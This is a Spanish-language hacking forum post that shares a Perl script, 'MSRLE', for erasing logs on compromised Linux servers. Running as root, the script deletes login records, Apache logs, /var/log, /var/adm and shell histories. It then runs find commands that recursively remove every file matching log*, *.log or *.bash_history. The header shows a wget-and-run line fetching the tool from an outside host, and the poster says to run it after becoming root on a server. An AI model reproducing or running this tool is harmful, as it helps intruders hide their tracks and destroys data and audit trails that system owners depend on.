comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Tool para borrar logs en Linux

  • 0 Respuestas
  • 2360 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:46:20 pm »
Código: Perl
  1. #########################################################################################################
  2. #                                          log eraser MSRLE v0.1                                        #
  3. #                                                                                                       #
  4. #                                             coded by PRI[ll                                           #
  5. #                                                                                                       #
  6. #                                                03/07/2005                                             #
  7. #                                                                                                       #
  8. #                              Morocco.security.rulz /s irc.gigachat.net -j #MSR                        #
  9. #                                                                                                       #
  10. #                             usage:(you should run this tool as root (sure =))) exemple:               #
  11. #                                                                                                       #
  12. #                      [root@MOROCCO:/root]# wget www.go0gler.com/MSRLE;chmod 777 MSRLE;./MSRLE         #
  13. #                      !!!!! MSRLE v0.1!!!!!                                                            #
  14. #                      !!!!coded by PRI[ll!!!!                                                          #
  15. #                      [*]erasing default log files (too fast =))                                       #
  16. #                      [*]/var/log/lastlog -erased Ok                                                   #
  17. #                      [*]/var/log/wtmp -erased Ok                                                      #
  18. #                      [*]/etc/wtmp - No such file or directory                                         #
  19. #                                                                                the_r00t3er@hotmail.com#
  20. #########################################################################################################
  21. #!usr/bin/perl
  22. use strict;
  23. You are not allowed to view links. Register or Login "!!!!! MSRLE v0.1!!!!!\n";
  24. You are not allowed to view links. Register or Login "Morocco.Security.Rulz.Log.Eraser\n";
  25. You are not allowed to view links. Register or Login "!!!!coded by PRI[ll!!!!\n";
  26. You are not allowed to view links. Register or Login "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
  27. if( -e "/var/log/lastlog" )
  28.  {
  29.    You are not allowed to view links. Register or Login 'rm -rf /var/log/lastlog';
  30.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n";
  31.  }
  32. else
  33.  {
  34.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
  35.  }
  36. if( -e "/var/log/wtmp" )
  37.  {
  38.    You are not allowed to view links. Register or Login 'rm -rf /var/log/wtmp';
  39.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n";
  40.  }
  41. else
  42.  {
  43.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
  44.  }
  45. if( -e "/etc/wtmp" )
  46.  {
  47.    You are not allowed to view links. Register or Login 'rm -rf /etc/wtmp';
  48.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n";
  49.  }
  50. else
  51.  {
  52.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
  53.  }
  54. if( -e "/var/run/utmp" )
  55.  {
  56.    You are not allowed to view links. Register or Login 'rm -rf /var/run/utmp';
  57.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n";
  58.  }
  59. else
  60.  {
  61.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
  62.  }
  63. if( -e "/etc/utmp" )
  64.  {
  65.    You are not allowed to view links. Register or Login 'rm -rf /etc/utmp';
  66.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n";
  67.  }
  68. else
  69.  {
  70.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
  71.  }
  72. if( -e "/var/log" )
  73.  {
  74.    You are not allowed to view links. Register or Login 'rm -rf /var/log';
  75.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n";
  76.  }
  77. else
  78.  {
  79.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
  80.  }
  81. if( -e "/var/logs" )
  82.  {
  83.    You are not allowed to view links. Register or Login 'rm -rf /var/logs';
  84.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n";
  85.  }
  86. else
  87.  {
  88.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
  89.  }
  90. if( -e "/var/adm" )
  91.  {
  92.    You are not allowed to view links. Register or Login 'rm -rf /var/adm';
  93.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n";
  94.  }
  95. else
  96.  {
  97.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
  98.  }
  99. if( -e "/var/apache/log" )
  100.  {
  101.    You are not allowed to view links. Register or Login 'rm -rf /var/apache/log';
  102.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n";
  103.  }
  104. else
  105.  {
  106.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
  107.  }
  108. if( -e "/var/apache/logs" )
  109.  {
  110.    You are not allowed to view links. Register or Login 'rm -rf /var/apache/logs';
  111.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n";
  112.  }
  113. else
  114.  {
  115.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
  116.  }
  117. if( -e "/usr/local/apache/log" )
  118.  {
  119.    You are not allowed to view links. Register or Login 'rm -rf /usr/local/apache/log';
  120.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n";
  121.  }
  122. else
  123.  {
  124.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
  125.  }
  126. if( -e "/usr/local/apache/logs" )
  127.  {
  128.    You are not allowed to view links. Register or Login 'rm -rf /usr/local/apache/logs';
  129.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n";
  130.  }
  131. else
  132.  {
  133.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
  134.  }
  135. if( -e "/root/.bash_history" )
  136.  {
  137.    You are not allowed to view links. Register or Login 'rm -rf /root/.bash_history';
  138.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n";
  139.  }
  140. else
  141.  {
  142.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
  143.  }
  144. if( -e "/root/.ksh_history" )
  145.  {
  146.    You are not allowed to view links. Register or Login 'rm -rf /root/.ksh_history';
  147.    You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n";
  148.  }
  149. else
  150.  {
  151.   You are not allowed to view links. Register or Login "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
  152.  }
  153. You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
  154. You are not allowed to view links. Register or Login "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
  155.  You are not allowed to view links. Register or Login 'find / -name *.bash_history -exec rm -rf {} \;';
  156. You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
  157.  You are not allowed to view links. Register or Login 'find / -name *.bash_logout -exec rm -rf {} \;';
  158. You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
  159.  You are not allowed to view links. Register or Login 'find / -name log* -exec rm -rf {} \;';
  160. You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
  161.  You are not allowed to view links. Register or Login 'find / -name *.log -exec rm -rf {} \;';
  162. You are not allowed to view links. Register or Login "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
  163. You are not allowed to view links. Register or Login "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";
  164.  

Bueno pegan el code en el block de notas y lo guardan con la extension *.pl  (obvio)
Una vez que "sean root" en el server, la dan permisos 777:

Código: You are not allowed to view links. Register or Login
chmod -c 777 log.pl
Despues la ejecutan:
Código: You are not allowed to view links. Register or Login
perl log.pl
Ahi comenzara a buscar los logs y a borrar.
« Última modificación: Marzo 14, 2015, 09:51:17 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.comYou are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1411
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1236
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
Viper 0.1 Priv8 Tool By Xianur0

Iniciado por @ed33x

Respuestas: 0
Vistas: 1570
Último mensaje Enero 27, 2011, 08:48:15 pm
por @ed33x
[Perl] Shodan Tool 0.2

Iniciado por BigBear

Respuestas: 0
Vistas: 1462
Último mensaje Diciembre 20, 2013, 09:35:03 pm
por BigBear
[Perl Tk] BingHack Tool 0.1

Iniciado por BigBear

Respuestas: 1
Vistas: 1436
Último mensaje Mayo 26, 2012, 11:18:06 am
por Pr0ph3t